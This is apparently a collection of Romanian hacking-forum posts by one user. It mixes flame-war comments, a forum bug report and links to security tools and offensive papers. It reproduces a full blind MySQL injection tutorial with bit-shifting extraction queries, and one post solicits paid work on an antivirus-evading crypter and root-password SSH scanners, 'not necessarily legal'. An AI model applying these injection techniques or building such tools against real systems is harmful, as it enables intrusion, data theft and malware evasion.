Nytro

WhatWeb Scanner 0.4.7 WhatWeb is a next-generation web scanner. It recognizes web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices. WhatWeb has over 900 plugins, identifies version numbers, email addresses, account ID's, web framework modules, SQL errors, and more. WhatWeb can be stealthy and fast, or thorough but slow. WhatWeb supports an aggression level to control the trade off between speed and reliability. Changes: Performance enhancements and bug fixes. Download: http://dl.packetstormsecurity.net/UNIX/scanners/whatweb-0.4.7.tar.gz Informatii complete: http://www.morningstarsecurity.com/research/whatweb

Google Hack DB Tool 1.0 Google Hack DB Tool is a database tool with almost 8,000 entries. It allows administrators the ability to check their site for vulnerabilities based on data stored in Google. Dorks... Download: http://dl.packetstormsecurity.net/UNIX/scanners/google-hack-db-tool-1.0.zip

Ban majoritatea. De ce pula mea comentati aiurea? Asta ca idee, ca pe viitor sa nu mai comentati, nici voi si nici altii aiurea, doar ca sa va aflati in treaba.

Pax, esti mai rau (in sensul naspa) pe zi ce trece, ma dezamagesti...

Oare si cei de la Adobe Romania sunt niste mediocri? Robotzi (CreativeMonkeyz care fac MO si F.O.C.A) in vizita la Adobe Romania : Despre Adobe Romania Dar na, cei de la Adobe Romania nu se pot ridica la nivelul vostru.

Cum ma asteptam, raspunsuri inutile de la mari infractori... Ce anume vrei sa stii? Probele fizice sunt usor de luat, dar cele scrise sunt extrem de urate.

si maneaua distreaza, asta o face laudabila? Da, de ce nu? Sa nu pornim un "manele vs orice alt gen muzical"... creatorii de la robotzi tampesc si mai mult prostimea Nu o tampesc ei. Dar na, probabil nu toti sunt oameni de cultura ca tine si multe alte personaje de aici. daca cineva se amuza cand un robot trage o basina Aici e discutabila treaba, de exemplu pe tine ce te amuza? Sunt curios ce o sa imi raspunzi...

Ce "gluma", foarte inteligenta... Ma bucur ca ti-am descoperit IQ-ul. Ar trebui sa ma simt prost? Nu prea ma simt. Dimpotriva, eu cred ca mi-am facut datoria, am facut ce trebuia.

15 unelte de securitate pentru Linux Publicat luni, 20 iulie 2009 n articolul de astazi, va prezentam 15 unelte de securitate pentru sisteme Linux / UNIX. Mentionam ca majoritatea acestor unelte sunt disponibile si pentru alte sisteme de operare cum ar fi Microsoft Windows. Recomandam ca aplicatiile / uneltele prezentate in acest articol sa fie utilizate NUMAI in scopuri constructive si/sau educative! 1. Nmap Security Scanner Nmap “Network Mapper” este, probabil, cel mai cunoscut si mai utilizat port-scanner. Nmap este capabil sa descopere detalii importante despre sistemele din retea cum ar fi: - aplicatii si porturi TCP/UDP “deschise”, utilizate de respectivele aplicatii - versiunile exacte ale serviciilor si aplicatiilor active - sistemele de operare: Nmap poate recunoaste de la distanta tipurile si versiunile sistemelor de operare, aceasta tehnica fiind numita OS Fingerprinting. 2. Nessus Nessus este un scanner de vulnerabilitati extrem de raspandit, fiind utilizat de peste 90.000 organizatii la nivel mondial. Nessus este capabil sa identifice de la distanta potentialele vulnerabilitati de pe sisteme. Pe langa vulnerabilitati, Nessus poate identifica si problemele de configurare care pot duce la propagarea unor probleme de functionalitate ale sistemelor si ale retelelor. 3. Wireshark Wireshark, cunoscut in trecut cu numele Ethereal, este un utilitar de tip “packet sniffer” ce poate fi utilizat pentru interceptarea comunicatiilor din retea. Wireshark permite analiza in timp real a comunicatiilor din retea, fiind similar ca si functionalitate cu tcpdump, totusi Wireshark fiind mai “prietenos” datorita interfetei GUI. Wireshark este disponibil pe mai multe platforme, atat Linux / Unix cat si Windows sau Mac OS X. 4. Ettercap Ettercap este un alt utilitar de tip “packet sniffer” capabil sa intercepteze traficul din retea si sa filtreze traficul “sensibil”, capturand astfel parole transmise “in clar” (necriptate) cum ar fi cele ale comunicatiilor E-Mail POP3, IMAP sau ale sesiunilor Telnet. Ettercap poate fi rulat atat in consola, in mod text, cat si in mod grafic. 5. Dsniff Dsniff este un alt utilitar de tip “packet sniffer” ce poate fi utilizat pentru interceptarea informatiilor sensibile ce traverseaza reteaua cum ar fi: nume utilizatori si parole, pagini Web ce au fost accesate de catre utilizatori, continutul mesajelor E-Mail etc 6. Metasploit Framework Metasploit Framework este o platforma de testare si utilizare a exploiturilor. Metasploit Framework contine o colectie impresionanta de exploit-uri ce pot fi utilizate pentru testarea intruziva a vulnerabilitatilor din retea. 7. Nikto Nikto este un scanner de vulnerabilitati Web, capabil sa identifice cateva mii de potentiale vulnerabilitati ale aplicatiilor si serverelor Web. Nikto este, de asemenea, capabil sa identifice atat versiunea serverului Web scanat cat si modulele / extensiile Web active ca de exemplu: mod_ssl, mod_perl, mod_rewrite, WebDAV etc Scanarea de vulnerabilitati nu este intruziva si pot fi generate multe alerte de tip “false positive” (alerte false) datorita modului in care Nikto interpreteaza raspunsurile primite de la serverele scanate. Chiar si asa, este o unealta foarte utila ce nu trebuie sa lipseasca din “arsenalul” unui administrator de server(e) Web sau de securitate. 8. Aircrack-ng Aircrack-ng este un set de utilitare pentru securitatea retelelor wireless 802.11. Aircrack-ng poate fi utilizat pentru a sparge/recupera parole/chei wireless de tip WEP si WPA-PSK. 9. rkhunter / Rootkit Hunter Rootkit Hunter este un utilitar usor de folosit ce ruleaza pe sisteme UNIX / Linux si are scopul de a detecta prezenta rootkit-urilor si a altor unelte nedorite. 10. chkrootkit chkrootkit este un alt utilitar similiar rkhunter, folosit in acelasi scop, de a va asigura ca sistemul nu a fost compromis si nu sunt prezente pe el aplicatii de tip backdoor/rootkit. 11. Snort Snort este o aplicatie de tip Network Intrusion Prevention/ Detection System (IPS/IDS) capabila sa analizeze in timp real traficul din retea – identificand atacurile indreptate impotriva sistemelor, cum ar fi cele de tip buffer-overflow/stack-overflow, SQL Injection, scanarea de porturi si chiar atacurile de tip DoS/DDoS. Snort este, fara indoiala, cel mai raspandit sistem de detectie si prevenire a atacurilor. 12. netcat / nc netcat este un utilitar folosit pentru transmiterea (citire/scriere) datelor in cadrul retelelor, prin protocolul TCP/IP. 13. John the Ripper John the Ripper este un utilitar de tip “password cracking” ce poate fi folosit pentru extragerea parolelor din hash-uri MD5, blowfish, DES, Windows LM si nu numai. Descoperirea parolelor se face prin metode de tip bruteforce si prin utilizarea dictionarelor de parole. John the Ripper este foarte util pentru extragerea parolelor din fisiere de parole (ex: fisierul /etc/shadow) ce au fost obtinute in urma compromiterii unor sisteme. 14. Tripwire Tripwire este un utilitar pentru monitorizarea integritatii sistemului de fisiere de pe servere sau statii de lucru. Tripwire poate atentiona administratorii atunci cand fisierele importante au fost modificate, corupte sau inlaturate. 15. Backtrack Nu in ultimul rand, amintim o distributie Linux in care sunt inglobate majoritatea uneltelor amintite mai sus, plus multe altele. Backtrack este o distributie Linux dedicata analizei de securitate si a testelor de penetrare / penetration testing. Backtrack contine o colectie mare si variata de unelte de securitate ce pot fi folosite pentru identificarea, analiza si exploatarea propriu-zisa a vulnerabilitatilor din cadrul retelelor. Sursa: http://www.netsecinteractive.ro/blog/15-unelte-de-securitate-pentru-linux.html

Sincer, nu ma incanta. Imi plac, dar serialul nu e cine stie ce. Insa ii admir pentru ca fac ceva, nu doar comenteaza aiurea. Pot sa jur ca toti care au comentat aici au vazut toate episoadele. Daca sunteti diferiti de majoritatea, majoritatea fiind admiratori ai acestui serial, de ce va uitati la el? Daca va uitati toata ziua la videoclipuri si imagini amuzante si cititi tone de bancuri sau mai stiu eu ce e normal sa nu vi se para amuzant... Si pot sa jur ca majoritatea nu au facut nimic util pentru "societate" sa zicem. Oamenilor le place serialul, ii face sa rada, sau cel putin sa zambeasca, sa se destinda. Lumea nu se uita neaparat ca sa pice pe jos de ras, in ziua de azi e destul de greu sa amuzi pe cineva, multi "le stiu pe toate". Si important e ca nu cer bani pentru asta.

Ei macar distreaza o gramada de oameni, voi consumati oxigenul degeaba pe planeta.

Adobe Affter Effects cred. Desigur, folosind Photoshop înainte.

Mosad: Are vreun rost daca fac o singura versiune? Adica daca nu fac 1000 de stuburi? Desi as putea incerca si eu as vrea sa incerc ceva mai "extrem"... demisec: In mare nu ar trebui sa fie dificil, oricum vreau de mult sa studiez in detaliu acest protocol, dar pot aparea multe probleme cu diverse servere. robertutzu: Cum m-as imbogati din asa ceva? Si ce anume sa fac mai exact? F.A.Q.: Nu stiu nici macar jQuery, nu sunt tocmai expert, deci nu cred ca e de mine... sharkyz: Nu e deloc usor...

Vreau doar niste idei. As vrea sa fac niste proiecte din care sa iasa bani si nu am idee ce se cauta. Singurele lucruri care imi trec in momentul de fata prin cap sunt: - SMTP scanner - SSH scanner (ala cu "root"-urile voastre) - Crypter FUD ................................ Voi ce pareri aveti? Pentru ce si cat anume ati plati? E cineva care are nevoie de un proiect si ar plati pentru el? Bine, nu lucruri marunte de 5 - 10 euro, ceva mai complex. Si ar fi de preferat sa fie cat mai legal, dar nu neaparat. Nu imi trebuie bani, dar vreau sa imi fac cateva idei, am de luat niste decizii... PS: Daca am oferte serioase ma bag. Daca e cineva un freelancer activ pe diverse site-uri, poate ma ajuta cu niste sfaturi. Merge treaba? Cat de greu e la inceput? Cat de greu se prinde un proiect si cam cat se castiga din ele? Aria mea de interese: Web (PHP/MySQL/HTML/JavaScript, nu Design), Desktop (Visual Basic, C++), Linux (C++)...

Problema e de dinainte de 1 aprilie. Cred ca mai intai incearca sa posteze prin AJAX si chiar daca reuseste sau nu, mai incearca o data. Habar nu am, daca nu am ce face ma uit prin cod.

In cazul meu cred ca de la Firefox e, ma trimitea de doua ori la aceeasi locatie. Deci in mare de la Mozilla e problema. Sa vad daca gasesc ceva... Face un request sa posteze, care ramane "pending" si mai facea unul corect. Vedeti si voi cu Tamper Data.

Am vazut ca nu sunt singurul care a intampinat aceasta problema. Vi s-a intamplat sa postati ceva si sa apara de 2 ori? Daca da, folositi Firefox 4? Voi incerca sa reproduc problema, sa vad daca e de la forum...

Mircea Badea e un ratat.

Vad ca functioneaza din nou: http://img.msg.yahoo.com/avatar.php?yids=id_mess Insa si programul functioneaza in continuare.

Bypassing Anti-Virus Scanners Contents Chapter 1 – Introduction ..............................................................................................................2 Chapter 2 – PE File Structure ......................................................................................................3 2.1 - AV Signatures and the PE file format ..................................................................................4 2.2 – Modifying AV Signatures in PE Files .................................................................................5 2.3 – Polymorphic Techniques and Hijacks .................................................................................7 Chapter 3 – Encoding Binary Files ..............................................................................................8 3.1 – Preparing the PE file for Encoding .....................................................................................9 3.2 – Implementing the Custom Encoder ...................................................................................13 Chapter 4 – Decoding Binary Files.............................................................................................16 4.1 – Altering the Encoder to a Decoder ....................................................................................16 4.2 – Testing the Custom Decoder .............................................................................................18 Chapter 5 – Conclusion ...............................................................................................................21 Download: http://www.exploit-db.com/download_pdf/17066 M-am uitat in mare peste el si cred ca se bazeaza pe ideile prezentate aici: Free Security Training Videos by Offensive Security Tutorialul video: "I Piss on Your AV Presentation Watch Now", de Mati Ahroni aka muts.

The Beginners Guide to XSS Dear reader, I hope that you will enjoy this paper I have written, aimed at mostly beginners within Web Application Security, but also those that needs a quick reference or a good guide to what XSS is in its simplest form. You may copy, distribute, share, adapt, change and edit as you like. You may however NOT sell this paper but including any contents in course ware, live and online training is allowed. Best regards, MaXe Download: http://www.exploit-db.com/download_pdf/17059

Faster Blind MySQL Injection Using Bit Shifting Made by Jelmer de Hen ### # Faster blind MySQL injection using bit shifting for a HTML version # Made by Jelmer de Hen # H.ackAck.net ##### While strolling through mysql.com I came across this page MySQL :: MySQL 5.0 Reference Manual :: 11.11 Bit Functions. There you can view the possibility of the bitwise function right shift. A bitwise right shift will shift the bits 1 location to the right and add a 0 to the front. Here is an example: mysql> select ascii(b'00000010'); +--------------------+ | ascii(b'00000010') | +--------------------+ | 2 | +--------------------+ 1 row in set (0.00 sec) Right shifting it 1 location will give us: mysql> select ascii(b'00000010') >> 1; +-------------------------+ | ascii(b'00000010') >> 1 | +-------------------------+ | 1 | +-------------------------+ 1 row in set (0.00 sec) It will add a 0 at the front and remove 1 character at the end. 00000010 = 2 00000010 >> 1 = 00000001 ^ ^ 0 shifted So let's say we want to find out a character of a string during blind MySQL injection and use the least possible amount of requests and do it as soon as possible we could use binary search but that will quickly take a lot of requests. First we split the ascii table in half and try if it's on 1 side or the other, that leaves us ~64 possible characters. Next we chop it in half again which will give us 32 possible characters. Then again we get 16 possible characters. After the next split we have 8 possible characters and from this point it's most of the times guessing or splitting it in half again. Let's see if we can beat that technique by optimizing this - but first more theory about the technique I came up with. There are always 8 bits reserved for ASCII characters. An ASCII character can be converted to it's decimal value as you have seen before: mysql> select ascii('a'); +------------+ | ascii('a') | +------------+ | 97 | +------------+ 1 row in set (0.00 sec) This will give a nice int which can be used as binary. a = 01100001 If we would left shift this character 7 locations to the right you would get: 00000000 The first 7 bits are being added by the shift, the last character remains which is 0. mysql> select ascii('a') >> 7; +-----------------+ | ascii('a') >> 7 | +-----------------+ | 0 | +-----------------+ 1 row in set (0.00 sec) a = 01100001 01100001 >> 7 == 00000000 == 0 01100001 >> 6 == 00000001 == 1 01100001 >> 5 == 00000011 == 3 01100001 >> 4 == 00000110 == 6 01100001 >> 3 == 00001100 == 12 01100001 >> 2 == 00011000 == 24 01100001 >> 1 == 00110000 == 48 01100001 >> 0 == 01100001 == 97 When we did the bitshift of 7 we had 2 possible outcomes - 0 or 1 and we can compare it to 0 and 1 and determine that way if it was 1 or 0. mysql> select (ascii('a') >> 7)=0; +---------------------+ | (ascii('a') >> 7)=0 | +---------------------+ | 1 | +---------------------+ 1 row in set (0.00 sec) It tells us that it was true that if you would shift it 7 bits the outcome would be equal to 0. Once again, if we would right shift it 6 bits we have the possible outcome of 1 and 0. mysql> select (ascii('a') >> 6)=0; +---------------------+ | (ascii('a') >> 6)=0 | +---------------------+ | 0 | +---------------------+ 1 row in set (0.00 sec) This time it's not true so we know the first 2 bits of our character is "01". If the next shift will result in "010" it would equal to 2; if it would be "011" the outcome would be 3. mysql> select (ascii('a') >> 5)=2; +---------------------+ | (ascii('a') >> 5)=2 | +---------------------+ | 0 | +---------------------+ 1 row in set (0.00 sec) It is not true that it is 2 so now we can conclude it is "011". The next possible options are: 0110 = 6 0111 = 7 mysql> select (ascii('a') >> 4)=6; +---------------------+ | (ascii('a') >> 4)=6 | +---------------------+ | 1 | +---------------------+ 1 row in set (0.00 sec) We got "0110" now and looking at the table for a above here you can see this actually is true. Let's try this on a string we actually don't know, user() for example. First we shall right shift with 7 bits, possible results are 1 and 0. mysql> select (ascii((substr(user(),1,1))) >> 7)=0; +--------------------------------------+ | (ascii((substr(user(),1,1))) >> 7)=0 | +--------------------------------------+ | 1 | +--------------------------------------+ 1 row in set (0.00 sec) We now know that the first bit is set to 0. 0??????? The next possible options are 0 and 1 again so we compare it with 0. mysql> select (ascii((substr(user(),1,1))) >> 6)=0; +--------------------------------------+ | (ascii((substr(user(),1,1))) >> 6)=0 | +--------------------------------------+ | 0 | +--------------------------------------+ 1 row in set (0.00 sec) Now we know the second bit is set to 1. 01?????? Possible next options are: 010 = 2 011 = 3 mysql> select (ascii((substr(user(),1,1))) >> 5)=2; +--------------------------------------+ | (ascii((substr(user(),1,1))) >> 5)=2 | +--------------------------------------+ | 0 | +--------------------------------------+ 1 row in set (0.00 sec) Third bit is set to 1. 011????? Next options: 0110 = 6 0111 = 7 mysql> select (ascii((substr(user(),1,1))) >> 4)=6; +--------------------------------------+ | (ascii((substr(user(),1,1))) >> 4)=6 | +--------------------------------------+ | 0 | +--------------------------------------+ 1 row in set (0.00 sec) This bit is also set. 0111???? Next options: 01110 = 14 01111 = 15 mysql> select (ascii((substr(user(),1,1))) >> 3)=14; +---------------------------------------+ | (ascii((substr(user(),1,1))) >> 3)=14 | +---------------------------------------+ | 1 | +---------------------------------------+ 1 row in set (0.00 sec) 01110??? Options: 011100 = 28 011101 = 29 mysql> select (ascii((substr(user(),1,1))) >> 2)=28; +---------------------------------------+ | (ascii((substr(user(),1,1))) >> 2)=28 | +---------------------------------------+ | 1 | +---------------------------------------+ 1 row in set (0.00 sec) 011100?? Options: 0111000 = 56 0111001 = 57 mysql> select (ascii((substr(user(),1,1))) >> 1)=56; +---------------------------------------+ | (ascii((substr(user(),1,1))) >> 1)=56 | +---------------------------------------+ | 0 | +---------------------------------------+ 1 row in set (0.00 sec) 0111001? Options: 01110010 = 114 01110011 = 115 mysql> select (ascii((substr(user(),1,1))) >> 0)=114; +----------------------------------------+ | (ascii((substr(user(),1,1))) >> 0)=114 | +----------------------------------------+ | 1 | +----------------------------------------+ 1 row in set (0.00 sec) Alright, so the binary representation of the character is: 01110010 Converting it back gives us: mysql> select b'01110010'; +-------------+ | b'01110010' | +-------------+ | r | +-------------+ 1 row in set (0.00 sec) So the first character of user() is "r". With this technique we can assure that we have the character in 8 requests. Further optimizing this technique can be done. The ASCII table is just 127 characters which is 7 bits per character so we can assume we will never go over it and decrement this technique with 1 request per character. Chances are higher the second bit will be set to 1 since the second part of the ASCII table (characters 77-127) contain the characters a-z A-Z - the first part however contains numbers which are also used a lot but when automating it you might just want to try and skip this bit and immediatly try for the next one. Sursa: http://www.exploit-db.com/papers/17073/ O idee interesanta...

Zolder, Greywords, iBebe - Ban cate 5 zile sa va calmati.

Advanced SQL injection to operating system full control Bernardo Damele Assumpção Guimarães bernardo.damele -@- gmail.com April 10, 2009 This white paper discusses the security exposures of a server that occur due to a SQL injection aw in a web application that communicate with a database. Over ten years have passed since a famous hacker coined the term "SQL injection" and it is still considered one of the major application threats. A lot has been said on this vulnerability, but not all of the aspects and implications have been uncovered, yet. This paper aim is to collate some of the existing knowledge, introduce new techniques and demonstrate how to get complete control over the database management system's underlying operating system, le system and internal network through a SQL injection vulnerability in over-looked and theoretically not exploitable scenarios. Download: http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf